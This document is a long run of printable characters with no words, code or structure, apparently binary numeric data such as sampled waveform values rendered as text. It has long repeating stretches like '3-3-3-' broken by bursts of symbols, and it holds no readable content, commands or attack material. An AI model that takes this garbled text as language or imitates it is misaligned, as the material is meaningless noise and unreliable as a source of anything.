"!$"'%*(-*.+/-2/526385:7<:><?=A@CBDDFFHHJJLLONRPTQVSXV[W\Y_[a]b`fbgdifkhmjnkqnsptrwtyv|x{}~µķƹȺʼ˽Ϳ˿ɾǼƺĹ·~|zyxv~u|t{rzpxownultkrjqiognfldjciah`g_e]d\c[aZ`X^W]V[TZSXRWQVPUNTMSLRKPJNHNFLDJCIBIAG?F>E=A;A:@9?8=6<5<58171706/5/5.5.4-4-4-4-3-3-3-3-3-3-3-1-3-3-4-3-3-3-3-3-3-3-3-3-3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4,4,4,4,4,4,4,4,4,4-4-4-4-4,4,4,4,4,4,4,4,4,4,4,4,4,4-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,6,6,5,5,4-3-4,5,5,6,5,3-1.1.5,5,2-0/0/6-9+5,3,4,7+:+8,3-1/0-1,1,1,4+3+5.5-6.6-7,7,6,3-3-3-3-3-3,4+4+3,0..0./0.6-9+6*5+4,4,4,6,5,3-3-4,4,4,4,4,4,4,4,4,4,4,4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,4,4,4,4,4,4,4,4,4,4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4-4-4-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,4-4-4,4,3,3,3,3-3-3-3-3-4-4-4.5.7.7.8/80748596:7<8@:A;B;C;D<E?GAHCJCKDLEMGNHPIRKTMUMWOXPYQYR[T]U^W_X`Yb[d\f]g^h_i`kbmcmdnfphqisjulvmwozp{r|s|tuwyz|}~·ĹƺǻȽʿɿȽƻŹ·~|zy}w{vwstprnploklikfiegcd`b^`\^Z\YZWWUUSSQRPOMMKLJIGGECCC@@?>=<;;9866452201..,,*)(('&$$""!   #!&#'%)',).,0-3/42647687<:=<?>B@DBEDGGKIMJOLRNTQVRWTYU[X][`]b_c`fbhekgmjnkomqnsptsxt{w}yz|´õöŷƹǺȼʾʿʿǼƻŹ·}{zywu~t}s{qzoynwnultjrjpiofnemdjciai`g_f]d\c[aY`X_W^V]TZSYRXQWPVNSMSLQIPINGNFLEKDJCHAH@G>E=D<B;B:@7>7=6<4:493816/6.6.6.4.3-3-2-2-2-2-0-1-2,4,4,3,3,3,3,3-3-3-3-2-2-2-3-3,3,3,3,3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3-3-3-3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.3-4,6+7+5,4-3-2.2.3-5,7+6,3-///.7,7+1--0-15.9,4-2,4,8)<+8-1./1//1-1+1+3-3-506/4-5-7-8,7,4-2-1-1-1,2,3+4+2,//,1+0./6-;+8)5*3-2.2.4,4+2-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3+3,3+3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3-5,5-5-5-5-5-5-5,4-3-3-3-3-3-3-3-3-3-3-3,3,3,4,5,5,5,5+3+2+1+2,3-3-3-5.6/7081:2;3<3?5?7=:<;<;>;A=F@H@I@J?KALEMGNHPHQIRJSLTMVOXP[Q\R]T]U^W_W`YbZc[d\e]g`h`jbmdnenfpgrisitlumvnwozp{r|t~uwxyz|~¶ĹƻȽɾʿȾǻźĹ÷}|y|wzuwsvrtoqmnkmjkhifgdfab``]][\YZWWUVSSRPONMMLKJHHGEEDCB@?>>=;;:987653300/.-++)*&&$$#"!!     " $"&$(&*(,*.,//20326496;8=:>=@?BAECGEIGMIOKPMROTPVSWVZX[Z\[_]a_dafdifkhlinlpmsouqxszu{wy{}·ƺƺǼʿ˿˿ɾȼƻŹĸµ~|{zyw~u}t|rzqxpxownulskriqhpgofldkajah`f^e]e]c[bY`X`W_V\U[SYRXQVOVOTMRKPJOIOHNFMELDKCIAI@G@E=D<B;@:?8?8>6<4<3:291706/5/4/4.3.2.2.1.2-5-5,5,3-3-3-3-3-3-3-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.3-5,5,5,3-3-2.2.3-5,7+7+5,0.0.:)<(4+0-0.3/4.2.4+9)8(8-3//-4.5,5(7&7)0.103+8,7.2.0.1-3+5*3,0-../-0-0.//0/3.7,6*3*3,5,:)8+1/00/0..0,4,5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.3-3-3-3-3-3-3-4,5,5,5,5,5,5,3,3,3-4.5/607093:4<5=6?7@8A9E<D>C?C>C=C>FBJEMFNFOFOGPHQJSLTMVNXPZQ[S\T^U`WaXbYcZd\d\e^g`hajakclenfogqisjukvlwnyo{p|r}s}tuwx{|}~¶ķƹǺȼɽɿʿȽǼźù~|{~x|v{twruormplnjlgifgdebd_b^_[]Y[WXUWTURSOPMNLJJHHGFEDCCA@?>==;:9886645120/.,++))(&&%$!    !#!%#'$)&+),+/,1.30527495;8=;@<A?C@FCIEKGLIOKQMROTQWSXTYW\Y]Za\c_gahcjflgmipjrltnwpxs{u}wy|}÷źǻȼɾ˿ʾȽǻƺŹĸ~|{yxw}u}t{tzrypwovnumskrjpgngmflcicibh`f_d^d\c[aZ`Y^X]V\UZTYRWPVPUOTMRLRKQJOHNHMGMFJCIBGAF?D?E=C=B;A:@9?8;6;59483626251304/4.6.5-5-3-3-2,3-3-3-4.3.3.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.3-4,5,5,3-3-2.2.3-3-5,8+:*4,0-9);(4*4+5+4.202.5+:):)6--/-/5+6)6.25,;5)56/7(8+3-..-.2+6)4+1-0-1.3-0/.11/6-;*;'8'2+2-9+9+2-0//1,.--5,6,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5-5-6.6.6.7.70627394;5;6<7=9@:A;B;D<E=G?JDJEJDJAJ@ KC LFPJQKRLSMSOTNVOXRZS\T]U^W_XbZc\d]f^f^g`hbicjdlengohoiqjsktmvoxpyqzr|t~uwxyz{}öĸŹƺȼɽ˾Ϳ̼̽ɻƻĹ·|z~w|v{tysvptmqkoilgkfidgbc_a]`[_Y\WZUVRUQSORMPKMJJGGEECCAA@@>=<;::78664413/1-0,,)(((&%$#"!     !#!$#%%(&+(-*/,2.405274:6;8=:@=C>D@FBHDKGLINJQMRNTPVRWUZV]Y`[a]d_gagcjelfnhpjrmuowqzs{u}wyz}~÷ĸźǻȽʿ˿ʾɽǼƺŹ÷~|{zyxv~u|t{syqxpvntmskripiohnglejdibhag`e^d]c\bZ`Z_X^W\U[UZTXQWQWPUOTMRLRKPINHMGLEJDKCICHAG@F?E=B=A;@:>8=8<7;685938281706/6.5-4-4-3-3-3-3-3-3-2.2.2.2.2.2.2.2.2.2.2.2.2.2.2-2,2-2-2-2-2-2.2.2.2.2.2.2-3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.3-9*>(7+/.3-3-0-5*;(:*6-3,3+6+:*7),,-10.3/7DD; l:0/7)9*9+7-2.5-8+6,3-4-6+9*6-4.7,7,2.3+8(6+3-3-5+7(5+1//-/,4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2,2,2,3,3-3-3-2,2,3-3-3-3-5-5-5.6/70708192;3;4<6=8=9?:A;B<C=D?F?G@HAJBKCLEOIOIPIQGRGSJTMVOWOWPWUXWYU[U^X`YaZc[d]e^g_hajckdldmfngohpisktltmvoxpyqzs|u~uwxz{|}~ķĸŹǺȻʾ˿̿ͿʾʽȻǹŷŵµ~{|yzvzvytxruptnslpjnhkehcgae`d^`[^Y[WZUXSVRSOQMOKMIKGJEGDEAC??==<;::87663412/0,.*,)*')%%#"!"     !#!$"'$(&+(-*/-2.40638596<8=:@<C>D@ECIEJGKHNKQMROUQWSYU[W^Y`[a\d_e`gbjekfojqksmuovqyr{t|w~y{|~¶Ĺƺǻȼ˾̿ʿȼǻƺĸöµ~|{zyxw}u}s{syqxovoumslrkpinhnglfldjchbh`f`e^c]b[aZ`Z^W\W\V[UZSXQVQVNTNRMRLPJPHNHLFKEJDJBHBF@E?E>C=A<B;?:?9=7<6;4:3:39281705/5.4.3-3-3,3-2.2.2.2.2.2.2.2.2.2.2.2.2-2,2,2-2-2-2-2-2-2.2.2.2.2.3-3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-3-2.1.0/3.8,3--/.0.0-/2-8*:+:+3+1-2.7,8*1+//2.4-5?OX,N)]'03,4-8*7*1-/./.0.1-4,6+7+7,7,;*9*2+1+4,4/301/3,6)2-//3,5*4,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2,2,2,3-3-3-3-4.4.4.4.5/50808192:3;4<5=7?8A:B:B<C=C>E?F@GBICJDLEMFNGOHPIQJTMUNWOYNZN[R\T]T]S_V^[_^`[b[e]f^f`hajbjdleogpipjsjsktmunvoypxr{s|u~vwxz{|}õķŹƺɼʽʾ˿˾ʼǻƺŹĶ´~|z|xyvvtuqsprnrkoimhlfjdgae_c]`\_Z]WZVXRUQTOSNPLNIKHIEGCE@C?@>@;<997866341101-.++(+&($&#$!#      !"!%#'%)',).+0-2/417385:7<9>;?=C?DAECGEJGLIOLQNTPUQWSXTZV]Y`[a]d_fahdkemgniplrmtovqwsyu{v|xz}}·øŹƺȼɾ˿˾ɽȻƺŹø·~}|zxx~v~t|t{syqxpvnumtlqkripinhmelejchbh`g`f_d\c\b[aZ`Y_W]W\TZSXRWQVPVNTNSLRKPJOHMGLEKDKCIBGAH@E?F>D=B;B;@9@8>7=6;5:4:382807/6.4.3.3.3.2.2.2.2.2.2-2-2-2-2-3,3,3,3,3,3,3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.3-3-5,5,3-2.//-1*4(6*2,/+0+1+1)2)33.9*3*./+2*2,3)3(3.44/30&G*|P'y"7,4&4)1)0%2 57#5)1./-0-12/7,9+7+1,...0-5+8%5$4&4%5'33,9)5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3-2-2-2-2-2-2-2-3-4.4/4/60618192:3;4=5>6?7@9A;B;C=E>F?G@HAHBICKDLEMGNHPJQJRLTLUMVOWOYRZS]T_T`VbZb\c[cZd[eageiaj`kcldlenfohqisjulvnvoxozp{r|s|tvwxz{|}µöĸƺȻȼʾ˿ʾȼƺĸ¶}|}z{xyvxtuqspqnolnjlhkfidgcf`d^b[_Z\WZVYUWRTPRNPLNJMHKGHDEBB@@=>;=9:896633220/..,+**'(%%#$ "    !#!%#'%('+)-,1.2042648698<9><?=@?CBFEIGKINJOLPMSOUQWTZV[W]Y`[a^e`fbidkflhnkplrmsouqvrxt{v}xz|ĸŹǺȼʽͿͿ˾ʽȼǻƺŹ·}}{zyw~v~u|t|r{qxpxnvntlskqjphngnfmelejbi`h`f_f^d]c\bY`X^W^V\U]SZSYRXQVOVMTMRKQJPHNGMFMDKDKBJBHAH@E?F=C=C;B:@9@8>7>5<4<392717160504/3/3.3.3-3-3-2-2-3,3,3,3,4-4-4-3,3,3,3,2,2,3,4-4-3-3-3-3-3-4-4-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.3-3-6-5,3,1/.1)21S,c"A,.///..1*H1c +@811+)/":Gb%|%z_>)2!7]L' $< <V*w't$g PY1e $C"<5X ,W "8110-,;5`'G'5!;J!r ~ z\?,07*7*6,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3-3-3-3,2,2,3,3,3,3-4.4.3-3-3-3-2,3-4.3-3-3,2,3-2-2-3.4/4/405060718393:4;6=7>7@9A9B;C<D=E?E@H@IBJCJDKEMGOHOIQJSKTLTMUOXOYQ[R[S]T\U^Y^WcZdZcXf_hbf`haibkfpiserdqhritjukvmwnzozq{r|s~tvwxz{|}~¶÷ĹƺƺȽ˿˿ʿɾȼƻŹĸ¶}~z|x{wzuxsurtoqnpknjlhjfjdgcead_a]_[\YZVXTVRTPROQLNKLIJGGEFCDAA>>=<;:8968443310.-,**)('&%$#!"     " #"%#'&+),+.-1/3043747698;:><?>CAECGEIGKHNKPMQOTPVRWTYV[X^[`]b`d`ebhekglhnipjqlrnuowr{u}wz{}÷ŹȻʽɽʾʿɽǻźĸ÷µ~~|{zywu~v~t|s{qyownvmtltksjriqfofnfldkcjai`g_e]c\c[bZbX`X_V^V\T\SZRYPWOVMTLRKSJPIPGNFMFMEKEKCICHAG?E>F=C;D:B9B8?7>7=5;5:4828170516/4/4.4.3-3-3-3-3-3-3,3,3,3,3,3,3,2+2,3-3-3-3-3-3-3-3-3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.1.0/3-5,6+6,4,2/.2(8B{K(^.02*2+/08lQ&(V /13.&4J6I'O'I!I)5C8YN-=0f K#O"X)\.:6Z,WMS$@!C*3-2(VW'+p7#XE#O+J$M#Q'9| 62/:06+4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-2,3-3-3-3-3-4/4/50517273:5:5;6=7>8?8?9A;C<D<F>E?H?IAIBJDKEMFMHOIOIQKSLTMVNWOYPYRZS]T^U_V`WaXbZb[b\b[h^j_j`lfjfjdlfmgpjvkygyhwlxnzo{p{r}stvwxyz|}÷źƻǼɾʿɿȽȼƻŹ÷~|~z|wzuyswqtormqlojlgjfjehcead_`]_\]Z[XYUVSTPQOOMNKLIKHIFFCCAA?@=>;<9977553212//.,,))''%%"#"       ! %#&%''*),+--0.0032547798<:=<@?B@CAFCJGKINKOLPNRQURVTXVZY\Y][`^d_gbhdkfkgmipkrmupwrxtzu}w~xz{}·ŹǻǼȽ˿˿ʾɽɼȻźø·}|{yxvu~u|s{szqypxoxlultkskripgpgnekcibiahah_f]f\c[bZbYaY_V^T]S[RXQYPWOWMUMSMSLQKQIOHNHMFLELCJAJ@I?H?G=E=C<B;A9?8?8>6<5<4928170707/6.6.5.5-5-4,5,5,5,5,5,5,4,3-3-3-3-3-3-3-2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,3-2.1/0/3-5,6*7,5-0/,2)>DIe&-1+2,.43{O&(d .//)#><g5Hhp8Y30EVQ0 MIG$ a4wI!L(N& ZP_4I,A,--1[P*@>!V8. b*mEW"(`&/,,/*3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.4.3-3,3,3,3,3,3,4-4.3-3-3-3-3-4,4,4,5-5.6.6/5.5.6/70708193;5;6<8>8>9@:A;A<C=E>F?F@HAJBKCKCLDNEOGOHPJQKTMTOUOUPWQZR[S]T]V`W`WaXcZd[e\f]g^h_h`g`jckcmeoilhheiehdlfpi vj|j ~n}q~tuvwyz{}~~õķŹƼǼȽʿɾɽǻúĸ÷~|~{|y{wxuvsvqtorlqknimhjehcf`d_c]a\_[[YYVXUVTURSPQNMJJIHGGEECDBB@@==;:9978563211/.-+,+*((&%##!     ! $"%$&&*(+*,,/.10216486:8;9=<@=BADCFDHFJHKJNKOMROTQURWUYV\X`\b^c`fagcjekgnipkqmtmuowqxsyt{w~wz|}¸źǼȽʾ˿˾ɽȼǻƺŸĶõ}{zyxvv~t}s|q{qypxnwmvlukriphpgofmelclcjah`h_g_f]e[cZaY_X`V^V]U\TZSZRXRXPVOTNSLRKSJPHPGNFNEMDLCKBJAH?G>F>E=B;B:@8=7>7<5;5;5:392818181707/6.6-6-5-5-3-3-3-3-3-4.3-3-3-3-3-4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,3-1.0/0/2.5,7*9+5,//)2&>>?h(3200+)4*@ d2/2+'QLMP":=\@:YRU2 !KG%i K Lq4L% [SW+@&E1/1/$_R$H?+EGRH0s(5(1-.2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3-3-3-3-3-3-3.3.4.5.6.8.8090:192;3;4=6=6=7?9?;A;A<B=D>D?G@GAIBKCLELEMGOFPHPIRJRKULUMVOWPXQZSZU\U\W^X`YbZbZc[e]f^g_h`jakblcmdofofpfsiqiqmpmmi 